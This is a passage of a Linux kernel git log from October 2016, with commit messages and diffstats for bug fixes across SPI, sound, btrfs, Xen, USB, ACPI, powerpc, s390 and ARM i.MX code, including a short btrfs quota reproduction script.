nodes that fail during initialisation: If a node fails, it won't be unloaded and hence not be unmarked. If a SPI driver module is unloaded and reloaded, it will skip nodes that failed before. Skip device nodes that are already populated and mark them only in case of success. Note that the same issue exists for I2C. Fixes: bd6c164 ("spi: Mark instantiated device nodes with OF_POPULATE") Signed-off-by: Ralf Ramsauer Reviewed-by: Geert Uytterhoeven Acked-by: Pantelis Antoniou Signed-off-by: Mark Brown Cc: stable@vger.kernel.org drivers/spi/spi.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 5229f1f4a4585f503a0683575bf38d9a1d2c1982 Author: Arnd Bergmann Date: Tue Oct 18 17:18:58 2016 +0200 ASoC: PXA: Brownstone needs I2C I rand into a new build error with SND_MMP_SOC_BROWNSTONE: warning: (SND_MMP_SOC_BROWNSTONE && SND_SOC_SAMSUNG_SMDK_WM8994 && SND_SOC_SMDK_WM8994_PCM && SND_SOC_LITTLEMILL) selects MFD_WM8994 which has unmet direct dependencies (HAS_IOMEM && I2C) drivers/mfd/wm8994-core.c:688:1: error: data definition has no type or storage class [-Werror] drivers/mfd/wm8994-core.c:688:1: error: type defaults to 'int' in declaration of 'module_i2c_driver' [-Werror=implicit-int] I don't see why this never showed up before, as the dependency seems to have been missing since the symbol was first introduced several years ago. This adds a dependency like the other drivers have. Signed-off-by: Arnd Bergmann Signed-off-by: Mark Brown sound/soc/pxa/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6d13f62d931ba638e54ba56f3a7dd3080ffb485a Author: Lukas Wunner Date: Thu Oct 20 12:26:16 2016 +0200 ASoC: Intel: Skylake: Always acquire runtime pm ref on unload skl_probe() releases a runtime pm ref unconditionally wheras skl_remove() acquires one only if the device is wakeup capable. Thus if the device is not wakeup capable, unloading and reloading the module will result in the refcount being decreased below 0. Fix it. Fixes: d8c2dab8381d ("ASoC: Intel: Add Skylake HDA audio driver") Signed-off-by: Lukas Wunner Signed-off-by: Mark Brown sound/soc/intel/skylake/skl.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit cf986d470208fbdd68b6934a86ccd81c04408484 Author: Vineet Gupta Date: Thu Oct 13 15:58:59 2016 -0700 ARCv2: IOC: use @ioc_enable not @ioc_exist where intended if user disables IOC from debugger at startup (by clearing @ioc_enable), @ioc_exists is cleared too. This means boot prints don't capture the fact that IOC was present but disabled which could be misleading. So invert how we use @ioc_enable and @ioc_exists and make it more canonical. @ioc_exists represent whether hardware is present or not and stays same whether enabled or not. @ioc_enable is still user driven, but will be auto-disabled if IOC hardware is not present, i.e. if @ioc_exist=0. This is opposite to what we were doing before, but much clearer. This means @ioc_enable is now the "exported" toggle in rest of code such as dma mapping API. Signed-off-by: Vineet Gupta arch/arc/include/asm/cache.h | 2 +- arch/arc/mm/cache.c | 10 ++++++---- arch/arc/mm/dma.c | 4 ++-- 3 files changed, 9 insertions(+), 7 deletions(-) commit 91e040a79df73d371f70792f30380d4e44805250 Author: Vineet Gupta Date: Thu Oct 20 07:39:45 2016 -0700 ARC: syscall for userspace cmpxchg assist Older ARC700 cores (ARC750 specifically) lack instructions to implement atomic r-w-w. This is problematic for userspace libraries such as NPTL which need atomic primitives. So enable them by providing kernel assist. This is costly but really the only sane soluton (othern than tight spinning using the otherwise availiable atomic exchange EX instruciton). Good thing is there are only a few of these cores running Linux out in the wild. This only works on UP systems. Reviewed-by: Colin Ian King Signed-off-by: Vineet Gupta arch/arc/include/asm/syscalls.h | 1 + arch/arc/include/uapi/asm/unistd.h | 9 +++++---- arch/arc/kernel/process.c | 33 +++++++++++++++++++++++++++++++++ 3 files changed, 39 insertions(+), 4 deletions(-) commit 9d1032cc49a8a1065e79ee323de66bcb4fdbd535 Author: Wang Xiaoguang Date: Mon Jun 20 09:18:52 2016 +0800 btrfs: fix WARNING in btrfs_select_ref_head() This issue was found when testing in-band dedupe enospc behaviour, sometimes run_one_delayed_ref() may fail for enospc reason, then __btrfs_run_delayed_refs()will return, but forget to add num_heads_read back, which will trigger "WARN_ON(delayed_refs->num_heads_ready == 0)" in btrfs_select_ref_head(). Signed-off-by: Wang Xiaoguang Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 3 +++ 1 file changed, 3 insertions(+) commit 9c894696f56f5d84fb5766af81bcda4a7cb9a842 Author: Dan Carpenter Date: Wed Oct 12 11:33:21 2016 +0300 Btrfs: remove some no-op casts We cast 0 to a u8 but then because of type promotion, it's immediately cast to int back to int before we do a bitwise negate. The cast doesn't matter in this case, the code works as intended. It causes a static checker warning though so let's remove it. Signed-off-by: Dan Carpenter Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent_io.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dd4b857aabbce57518f2d32d9805365d3ff34fc6 Author: Wang Xiaoguang Date: Tue Oct 18 15:56:13 2016 +0800 btrfs: pass correct args to btrfs_async_run_delayed_refs() In btrfs_truncate_inode_items()->btrfs_async_run_delayed_refs(), we swap the arg2 and arg3 wrongly, fix this. This bug just impacts asynchronous delayed refs handle when we truncate inodes. In delayed_ref_async_start(), there is such codes: trans = btrfs_join_transaction(async->root); if (trans->transid > async->transid) goto end; ret = btrfs_run_delayed_refs(trans, async->root, async->count); From this codes, we can see that this just influence whether can we handle delayed refs or the number of delayed refs to handle, this may impact performance, but will not result in missing delayed refs, all delayed refs will be handled in btrfs_commit_transaction(). Signed-off-by: Wang Xiaoguang Reviewed-by: Holger Hoffstätte Signed-off-by: David Sterba fs/btrfs/inode.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 69ae5e4459e43e56f03d0987e865fbac2b05af2a Author: Wang Xiaoguang Date: Thu Oct 13 09:23:39 2016 +0800 btrfs: make file clone aware of fatal signals Indeed this just make the behavior similar to xfs when process has fatal signals pending, and it'll make fstests/generic/298 happy. Signed-off-by: Wang Xiaoguang Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ioctl.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0b34c261e235a5c74dcf78bd305845bd15fe2b42 Author: Goldwyn Rodrigues Date: Fri Sep 30 10:40:52 2016 -0500 btrfs: qgroup: Prevent qgroup->reserved from going subzero While free'ing qgroup->reserved resources, we much check if the page has not been invalidated by a truncate operation by checking if the page is still dirty before reducing the qgroup resources. Resources in such a case are free'd when the entire extent is released by delayed_ref. This fixes a double accounting while releasing resources in case of truncating a file, reproduced by the following testcase. SCRATCH_DEV=/dev/vdb SCRATCH_MNT=/mnt mkfs.btrfs -f $SCRATCH_DEV mount -t btrfs $SCRATCH_DEV $SCRATCH_MNT cd $SCRATCH_MNT btrfs quota enable $SCRATCH_MNT btrfs subvolume create a btrfs qgroup limit 500m a $SCRATCH_MNT sync for c in {1..15}; do dd if=/dev/zero bs=1M count=40 of=$SCRATCH_MNT/a/file; done sleep 10 sync sleep 5 touch $SCRATCH_MNT/a/newfile echo "Removing file" rm $SCRATCH_MNT/a/file Fixes: b9d0b38928 ("btrfs: Add handler for invalidate page") Signed-off-by: Goldwyn Rodrigues Reviewed-by: Qu Wenruo Signed-off-by: David Sterba fs/btrfs/inode.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 86a6c211d676add579a75b7e172a72bb3e2c21f8 Author: Benjamin Coddington Date: Wed Jun 15 15:02:55 2016 -0400 NFS: Trim extra slash in v4 nfs_path A NFSv4 mount of a subdirectory will show an extra slash (as in 'server://path') in proc's mountinfo which will not match the device name and path. This can cause problems for programs searching for the mount. Fix this by checking for a leading slash in the dentry path, if so trim away any trailing slashes in the device name. Signed-off-by: Benjamin Coddington Signed-off-by: Anna Schumaker fs/nfs/namespace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dafa724bf582181d9a7d54f5cb4ca0bf8ef29269 Author: tang.junhui Date: Fri Oct 21 09:35:32 2016 +0800 dm table: fix missing dm_put_target_type() in dm_table_add_target() dm_get_target_type() was previously called so any error returned from dm_table_add_target() must first call dm_put_target_type(). Otherwise the DM target module's reference count will leak and the associated kernel module will be unable to be removed. Also, leverage the fact that r is already -EINVAL and remove an extra newline. Fixes: 36a0456 ("dm table: add immutable feature") Fixes: cc6cbe1 ("dm table: add always writeable feature") Fixes: 3791e2f ("dm table: add singleton feature") Cc: stable@vger.kernel.org # 3.2+ Signed-off-by: tang.junhui Signed-off-by: Mike Snitzer drivers/md/dm-table.c | 24 +++++++++--------------- 1 file changed, 9 insertions(+), 15 deletions(-) commit 4690481060f3c6b557b01f18319c6382f0fd63ab Author: Wei Yongjun Date: Sun Oct 23 11:41:09 2016 +0000 ASoC: Intel: Atom: add terminate entry for dmi_system_id tables Make sure dmi_system_id tables are NULL terminated. Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_acpi.c | 1 + 1 file changed, 1 insertion(+) commit c251f15c7dbf2cb72e7b2b282020b41f4e4d3665 Author: Jan Beulich Date: Mon Oct 24 09:05:18 2016 -0600 xenbus: check return value of xenbus_scanf() Don't ignore errors here: Set backend state to unknown when unsuccessful. Signed-off-by: Jan Beulich Signed-off-by: David Vrabel drivers/xen/xenbus/xenbus_probe_frontend.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit e1e5b3ff41983f506c3cbcf123fe7d682f61a8f1 Author: Jan Beulich Date: Mon Oct 24 09:03:49 2016 -0600 xenbus: prefer list_for_each() This is more efficient than list_for_each_safe() when list modification is accompanied by breaking out of the loop. Signed-off-by: Jan Beulich Reviewed-by: Juergen Gross Signed-off-by: David Vrabel drivers/xen/xenbus/xenbus_dev_frontend.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f515c3834a4adf8b33f0e7215d434410b1687164 Author: Bard Liao Date: Mon Oct 24 18:32:18 2016 +0800 ASoC: rt298: fix jack type detect error rt298_jack_detect may be called before card is instantiated. And snd_soc_dapm_force_enable_pin will not work in that case. So, update bit manually by regmap_update_bits. Signed-off-by: Bard Liao Signed-off-by: Mark Brown sound/soc/codecs/rt298.c | 5 +++++ 1 file changed, 5 insertions(+) commit cb5f7e7c1ded5ff91b18116669c0f43c82bea3db Author: Arnd Bergmann Date: Wed Oct 12 17:20:38 2016 +0200 x86: xen: move cpu_up functions out of ifdef Three newly introduced functions are not defined when CONFIG_XEN_PVHVM is disabled, but are still being used: arch/x86/xen/enlighten.c:141:12: warning: ‘xen_cpu_up_prepare’ used but never defined arch/x86/xen/enlighten.c:142:12: warning: ‘xen_cpu_up_online’ used but never defined arch/x86/xen/enlighten.c:143:12: warning: ‘xen_cpu_dead’ used but never defined Fixes: 4d737042d6c4 ("xen/x86: Convert to hotplug state machine") Signed-off-by: Arnd Bergmann Signed-off-by: David Vrabel arch/x86/xen/enlighten.c | 2 ++ 1 file changed, 2 insertions(+) commit 44b3c7af02ca2701b6b90ee30c9d1d9c3ae07653 Author: Juergen Gross Date: Tue Oct 11 13:34:16 2016 +0200 xenbus: advertise control feature flags The Xen docs specify several flags which a guest can set to advertise which values of the xenstore control/shutdown key it will recognize. This patch adds code to write all the relevant feature-flag keys. Based-on-patch-by: Paul Durrant Signed-off-by: Juergen Gross Reviewed-by: David Vrabel Reviewed-by: Paul Durrant Signed-off-by: David Vrabel drivers/xen/manage.c | 45 +++++++++++++++++++++++++++++---------------- 1 file changed, 29 insertions(+), 16 deletions(-) commit e866dd8aab76b6a0ee8428491e65fa5c83a6ae5a Author: Dan Carpenter Date: Fri Oct 14 22:18:21 2016 +0300 greybus: fix a leak on error in gb_module_create() We should release ->interfaces[0] as well. Fixes: b15d97d77017 ("greybus: core: add module abstraction") Signed-off-by: Dan Carpenter Acked-by: Viresh Kumar Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1305f2b2f52af5986f44dfbb1a6fe58ae875aa61 Author: Wei Yongjun Date: Wed Oct 19 13:17:53 2016 +0000 greybus: es2: fix error return code in ap_probe() Fix to return a negative error code from the es2_arpc_in_enable() error handling case instead of 0, as done elsewhere in this function. Fixes: 9d9d3777a9db ("greybus: es2: Add a new bulk in endpoint for APBridgeA RPC") Signed-off-by: Wei Yongjun Acked-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 25633d1f5dd7ea35c77aae12c039a80e46abec01 Author: Wei Yongjun Date: Mon Oct 17 16:37:20 2016 +0000 greybus: arche-platform: Add missing of_node_put() in arche_platform_change_state() This node pointer is returned by of_find_compatible_node() with refcount incremented in this function. of_node_put() on it before exitting this function. This is detected by Coccinelle semantic patch. Signed-off-by: Wei Yongjun Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 1 + 1 file changed, 1 insertion(+) commit cf55902b9c306ed259eb57ff111a0c152620f4a6 Author: Dan Carpenter Date: Thu Oct 13 15:55:08 2016 +0300 staging: android: ion: Fix error handling in ion_query_heaps() If the copy_to_user() fails we should unlock and return directly without updating "cnt". Also the return value should be -EFAULT instead of the number of bytes remaining. Fixes: 02b23803c6af ("staging: android: ion: Add ioctl to query available heaps") Signed-off-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 4edd601c5a9c5094daa714e65063e623826f3bcc Author: Fabio Estevam Date: Mon Oct 24 10:32:12 2016 -0200 ARM: imx: mach-imx6q: Fix the PHY ID mask for AR8031 AR8031 and AR8035 have the same PHY ID mask of 0xffffffef. So fix it and make it match with the PHY ID mask definition at drivers/net/phy/at803x.c. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-imx6q.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 38d8ed65092ed22f52a95f397855cace0260e110 Author: Colin Ian King Date: Sun Oct 23 21:56:08 2016 +0100 hwmon: (core) fix resource leak on devm_kcalloc failure If dev_kcalloc fails to allocate hw_dev->groups then the current exit path is a direct return, causing a leak of resources such as hwdev and ida is not removed. Fix this by exiting via the free_hwmon exit path that performs the necessary resource cleanup. Signed-off-by: Colin Ian King Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 1adb469b9b76276d7e5ea36a20a24c47d6618a0b Author: Jon Hunter Date: Fri Oct 21 16:24:09 2016 +0100 PM / suspend: Fix missing KERN_CONT for suspend message Commit 4bcc595ccd80 (printk: reinstate KERN_CONT for printing continuation lines) exposed a missing KERN_CONT from one of the messages shown on entering suspend. With v4.9-rc1, the 'done.' shown after syncing the filesystems no longer appears as a continuation but a new message with its own timestamp. [ 9.259566] PM: Syncing filesystems ... [ 9.264119] done. Fix this by adding the KERN_CONT log level for the 'done.' part of the message seen after syncing filesystems. While we are at it, convert these suspend printks to pr_info and pr_cont, respectively. Signed-off-by: Jon Hunter Signed-off-by: Rafael J. Wysocki kernel/power/suspend.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b76032396d7958f006bccf5fb2535beb5526837c Author: Yoshihiro Shimoda Date: Thu Oct 20 13:19:19 2016 +0900 usb: renesas_usbhs: add wait after initialization for R-Car Gen3 Since the controller on R-Car Gen3 doesn't have any status registers to detect initialization (LPSTS.SUSPM = 1) and the initialization needs up to 45 usec, this patch adds wait after the initialization. Otherwise, writing other registers (e.g. INTENB0) will fail. Fixes: de18757e272d ("usb: renesas_usbhs: add R-Car Gen3 power control") Cc: # v4.6+ Cc: Signed-off-by: Yoshihiro Shimoda Signed-off-by: Greg Kroah-Hartman drivers/usb/renesas_usbhs/rcar3.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 806487a8fc8f385af75ed261e9ab658fc845e633 Author: Punit Agrawal Date: Tue Oct 18 17:07:19 2016 +0100 ACPI / APEI: Fix incorrect return value of ghes_proc() Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value. Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support) Signed-of-by: Punit Agrawal Tested-by: Tyler Baicar Reviewed-by: Borislav Petkov [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki drivers/acpi/apei/ghes.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ed6d6f8f42d7302f6f9b6245f34927ec20d26c12 Author: Bryan Paluch Date: Mon Oct 17 08:54:46 2016 -0400 usb: increase ohci watchdog delay to 275 msec Increase ohci watchout delay to 275 ms. Previous delay was 250 ms with 20 ms of slack, after removing slack time some ohci controllers don't respond in time. Logs from systems with controllers that have the issue would show "HcDoneHead not written back; disabled" Signed-off-by: Bryan Paluch Acked-by: Alan Stern Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-hcd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cacaaf80c3a6f6036d290f353c4c1db237b42647 Author: Tony Lindgren Date: Wed Oct 19 12:03:40 2016 -0500 usb: musb: Call pm_runtime from musb_gadget_queue If we're booting pandaboard using NFSroot over built-in g_ether, we can get the following after booting once and doing a warm reset: g_ether gadget: ecm_open g_ether gadget: notify connect true ... WARNING: CPU: 0 PID: 1 at drivers/bus/omap_l3_noc.c:147 l3_interrupt_handler+0x220/0x34c 44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4CFG (Read): Data Access in User mode du ring Functional access ... Fix the issue by calling pm_runtime functions from musb_gadget_queue. Note that in the long run we should be able to queue the pending transfers if pm_runtime is not active, and flush the queue from pm_runtime_resume. Reported-by: Laurent Pinchart Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_gadget.c | 4 ++++ 1 file changed, 4 insertions(+) commit d8e5f0eca1e88215e45aca27115ea747e6164da1 Author: Tony Lindgren Date: Wed Oct 19 12:03:39 2016 -0500 usb: musb: Fix hardirq-safe hardirq-unsafe lock order error If we configure musb with 2430 glue as a peripheral, and then rmmod omap2430 module, we'll get the following error: [ INFO: HARDIRQ-safe -> HARDIRQ-unsafe lock order detected ] ... rmmod/413 [HC0[0]:SC0[0]:HE0:SE1] is trying to acquire: (&phy->mutex){+.+.+.}, at: [] phy_power_off+0x1c/0xb8 [ 204.678710] and this task is already holding: (&(&musb->lock)->rlock){-.-...}, at: [] musb_gadget_stop+0x24/0xec [musb_hdrc] which would create a new lock dependency: (&(&musb->lock)->rlock){-.-...} -> (&phy->mutex){+.+.+.} ... This is because some glue layers expect musb_platform_enable/disable to be called with spinlock held, and 2430 glue layer has USB PHY on the I2C bus using a mutex. We could fix the glue layers to take the spinlock, but we still have a problem of musb_plaform_enable/disable being called in an unbalanced manner. So that would still lead into USB PHY enable/disable related problems for omap2430 glue layer. While it makes sense to only enable USB PHY when needed from PM point of view, in this case we just can't do it yet without breaking things. So let's just revert phy_enable/disable related changes instead and reconsider this after we have fixed musb_platform_enable/disable to be balanced. Fixes: a83e17d0f73b ("usb: musb: Improve PM runtime and phy handling for 2430 glue layer") Reviewed-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/omap2430.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 1e4b4348753ba555ea93470ea8af821425d9c826 Author: Masahiro Yamada Date: Mon Oct 17 20:11:59 2016 +0900 usb: ehci-platform: increase EHCI_MAX_RSTS to 4 Socionext LD11 SoC (arch/arm64/boot/dts/socionext/uniphier-ld11.dtsi) needs to handle 4 reset lines for EHCI. Signed-off-by: Masahiro Yamada Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ehci-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ed19ece135a6908244e22e4ab395165999a4d3ab Author: Wenyou Yang Date: Thu Sep 29 18:07:07 2016 +0800 usb: ohci-at91: Set RemoteWakeupConnected bit explicitly. The reset value of RWC is 0, set RemoteWakeupConnected bit explicitly before calling ohci_run, it also fixes the issue that the mass storage stick connected wasn't suspended when the system suspend. Signed-off-by: Wenyou Yang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-at91.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 98756f5319c64c883caa910dce702d9edefe7810 Author: Sinan Kaya Date: Mon Oct 24 00:31:32 2016 -0400 ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs Commit 103544d86976 ("ACPI,PCI,IRQ: reduce resource requirements") replaced the addition of PIRQ_PENALTY_PCI_USING in acpi_pci_link_allocate() with an addition in acpi_irq_pci_sharing_penalty(), but f7eca374f000 ("ACPI,PCI,IRQ: separate ISA penalty calculation") removed the use of acpi_irq_pci_sharing_penalty() for ISA IRQs. Therefore, PIRQ_PENALTY_PCI_USING is missing from ISA IRQs used by interrupt links. Include that penalty by adding it in the acpi_pci_link_allocate() path. Fixes: f7eca374f000 (ACPI,PCI,IRQ: separate ISA penalty calculation) Signed-off-by: Sinan Kaya Acked-by: Bjorn Helgaas Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki drivers/acpi/pci_link.c | 4 ++++ 1 file changed, 4 insertions(+) commit f1caa61df2a3dc4c58316295c5dc5edba4c68d85 Author: Sinan Kaya Date: Mon Oct 24 00:31:31 2016 -0400 ACPI/PCI: pci_link: penalize SCI correctly Ondrej reported that IRQs stopped working in v4.7 on several platforms. A typical scenario, from Ondrej's VT82C694X/694X, is: ACPI: Using PIC for interrupt routing ACPI: PCI Interrupt Link [LNKA] (IRQs 1 3 4 5 6 7 10 *11 12 14 15) ACPI: No IRQ available for PCI Interrupt Link [LNKA] 8139too 0000:00:0f.0: PCI INT A: no GSI We're using PIC routing, so acpi_irq_balance == 0, and LNKA is already active at IRQ 11. In that case, acpi_pci_link_allocate() only tries to use the active IRQ (IRQ 11) which also happens to be the SCI. We should penalize the SCI by PIRQ_PENALTY_PCI_USING, but irq_get_trigger_type(11) returns something other than IRQ_TYPE_LEVEL_LOW, so we penalize it by PIRQ_PENALTY_ISA_ALWAYS instead, which makes acpi_pci_link_allocate() assume the IRQ isn't available and give up. Add acpi_penalize_sci_irq() so platforms can tell us the SCI IRQ, trigger, and polarity directly and we don't have to depend on irq_get_trigger_type(). Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements) Link: http://lkml.kernel.org/r/201609251512.05657.linux@rainbow-software.org Reported-by: Ondrej Zary Acked-by: Bjorn Helgaas Signed-off-by: Sinan Kaya Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki arch/x86/kernel/acpi/boot.c | 1 + drivers/acpi/pci_link.c | 30 +++++++++++++++--------------- include/linux/acpi.h | 1 + 3 files changed, 17 insertions(+), 15 deletions(-) commit eeaed4bb5a35591470b545590bb2f26dbe7653a2 Author: Sinan Kaya Date: Mon Oct 24 00:31:30 2016 -0400 ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages We do not want to store the SCI penalty in the acpi_isa_irq_penalty[] table because acpi_isa_irq_penalty[] only holds ISA IRQ penalties and there's no guarantee that the SCI is an ISA IRQ. We add in the SCI penalty as a special case in acpi_irq_get_penalty(). But if we called acpi_penalize_isa_irq() or acpi_irq_penalty_update() for an SCI that happened to be an ISA IRQ, they stored the SCI penalty (part of the acpi_irq_get_penalty() return value) in acpi_isa_irq_penalty[]. Subsequent calls to acpi_irq_get_penalty() returned a penalty that included *two* SCI penalties. Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements) Signed-off-by: Sinan Kaya Acked-by: Bjorn Helgaas Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki drivers/acpi/pci_link.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 44d524218c65e1f2e6d945b09165562852298015 Author: Stefan Agner Date: Mon Oct 17 18:51:27 2016 -0700 ARM: dts: vf610: fix IRQ flag of global timer The global timer IRQ (PPI[0], PPI 11 in device tree terms) is a rising edge interrupt. The ARM Cortex-A5 MPCore TRM in Chapter 10.1.2. Interrupt types and sources says: "Interrupt is rising-edge sensitive." The bits seem to be read-only, hence this missconfiguration had no negative effect. However, with commit 992345a58e0c ("irqchip/gic: WARN if setting the interrupt type for a PPI fails") warnings such as this get printed: GIC: PPI11 is secure or misconfigured With this change the new configuration matches the default configuration and no warning is printed anymore. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/vf500.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8b77eb97f7847d67129d5312596e953bd7946f48 Merge: c89d98e 64bc2d0 Author: Greg Kroah-Hartman Date: Mon Oct 24 10:50:13 2016 +0200 Merge tag 'iio-fixes-for-4.9a' of git://git.kernel.org/pub/scm/linux/kernel/git/jic23/iio into staging-linus Jonathan writes: First set of IIO fixes for the 4.9 cycle. * atlas chemical - Fix alignment of big endian values in a larger storage (by using the right size storage) * maxim thermocouple - Fix alignment of big endian values in larger (by using the correct sized storage). * sca3000 - Handle unexpected mode values. * ti-adc081 - Select IIO_TRIGGERED_BUFFER to avoid build errors commit 09b7e37b18eecc1e347f4b1a3bc863f32801f634 Author: Paul Mackerras Date: Fri Oct 21 20:04:17 2016 +1100 powerpc/64: Fix race condition in setting lock bit in idle/wakeup code This fixes a race condition where one thread that is entering or leaving a power-saving state can inadvertently ignore the lock bit that was set by another thread, and potentially also clear it. The core_idle_lock_held function is called when the lock bit is seen to be set. It polls the lock bit until it is clear, then does a lwarx to load the word containing the lock bit and thread idle bits so it can be updated. However, it is possible that the value loaded with the lwarx has the lock bit set, even though an immediately preceding lwz loaded a value with the lock bit clear. If this happens then we go ahead and update the word despite the lock bit being set, and when called from pnv_enter_arch207_idle_mode, we will subsequently clear the lock bit. No identifiable misbehaviour has been attributed to this race. This fixes it by checking the lock bit in the value loaded by the lwarx. If it is set then we just go back and keep on polling. Fixes: b32aadc1a8ed ("powerpc/powernv: Fix race in updating core_idle_state") Cc: stable@vger.kernel.org # v4.2+ Signed-off-by: Paul Mackerras Signed-off-by: Michael Ellerman arch/powerpc/kernel/idle_book3s.S | 3 +++ 1 file changed, 3 insertions(+) commit 56c46222af0d09149fadec2a3ce9d4889de01cc6 Author: Paul Mackerras Date: Fri Oct 21 20:03:05 2016 +1100 powerpc/64: Re-fix race condition between going idle and entering guest Commit 8117ac6a6c2f ("powerpc/powernv: Switch off MMU before entering nap/sleep/rvwinkle mode", 2014-12-10) fixed a race condition where one thread entering a KVM guest could switch the MMU context to the guest while another thread was still in host kernel context with the MMU on. That commit moved the point where a thread entering a power-saving mode set its kvm_hstate.hwthread_state field in its PACA to KVM_HWTHREAD_IN_IDLE from a point where the MMU was on to after the MMU had been switched off. That commit also added a comment explaining that we have to switch to real mode before setting hwthread_state to avoid this race. Nevertheless, commit 4eae2c9ae54a ("powerpc/powernv: Make pnv_powersave_common more generic", 2016-07-08) subsequently moved the setting of hwthread_state back to a point where the MMU is on, thus reintroducing the race, despite the comment saying that this should not be done being included in full in the context lines of the patch that did it. This fixes the race again and adds a bigger and shoutier comment explaining the potential race condition. Fixes: 4eae2c9ae54a ("powerpc/powernv: Make pnv_powersave_common more generic") Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Paul Mackerras Reviewed-by: Shreyas B. Prabhu Signed-off-by: Michael Ellerman arch/powerpc/kernel/idle_book3s.S | 32 ++++++++++++++++++++++++++------ 1 file changed, 26 insertions(+), 6 deletions(-) commit 4a65429457a5d271dd3b00598b3ec75fe8b5103c Author: Gerald Schaefer Date: Tue Oct 18 17:32:18 2016 +0200 s390/mm: fix zone calculation in arch_add_memory() Standby (hotplug) memory should be added to ZONE_MOVABLE on s390. After commit 199071f1 "s390/mm: make arch_add_memory() NUMA aware", arch_add_memory() used memblock_end_of_DRAM() to find out the end of ZONE_NORMAL and the beginning of ZONE_MOVABLE. However, commit 7f36e3e5 "memory-hotplug: add hot-added memory ranges to memblock before allocate node_data for a node." moved the call of memblock_add_node() before the call of arch_add_memory() in add_memory_resource(), and thus changed the return value of memblock_end_of_DRAM() when called in arch_add_memory(). As a result, arch_add_memory() will think that all memory blocks should be added to ZONE_NORMAL. Fix this by changing the logic in arch_add_memory() so that it will manually iterate over all zones of a given node to find out which zone a memory block should be added to. Reviewed-by: Heiko Carstens Signed-off-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/mm/init.c | 38 +++++++++++++++++++++----------------- 1 file changed, 21 insertions(+), 17 deletions(-) commit 47ece7fef4e4206cdcee7c28ac3bca3ede0a1908 Author: Heiko Carstens Date: Wed Oct 19 13:42:55 2016 +0200 s390/dumpstack: use pr_cont within show_stack and die Use pr_cont instead of printk calls also within show_stack and die in order to avoid extra line breaks. Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/kernel/dumpstack.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit f9d1f7a7ad919c93dfb708aae6e19d33c5437443 Author: Fabio Estevam Date: Sat Oct 22 10:20:56 2016 -0200 ARM: imx: gpc: Fix the imx_gpc_genpd_init() error path If of_genpd_add_provider_onecell() fails the following kernel crash is observed on a kernel built with multi_v7_defconfig: [ 1.739301] [00000040] *pgd=00000000 [ 1.739310] Internal error: Oops: 5 [#1] SMP ARM [ 1.739319] Modules linked in: [ 1.739328] CPU: 1 PID: 95 Comm: kworker/1:4 Not tainted 4.8.0-11897-g6b5e09a #1 [ 1.739331] Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree) [ 1.739352] Workqueue: pm genpd_power_off_work_fn 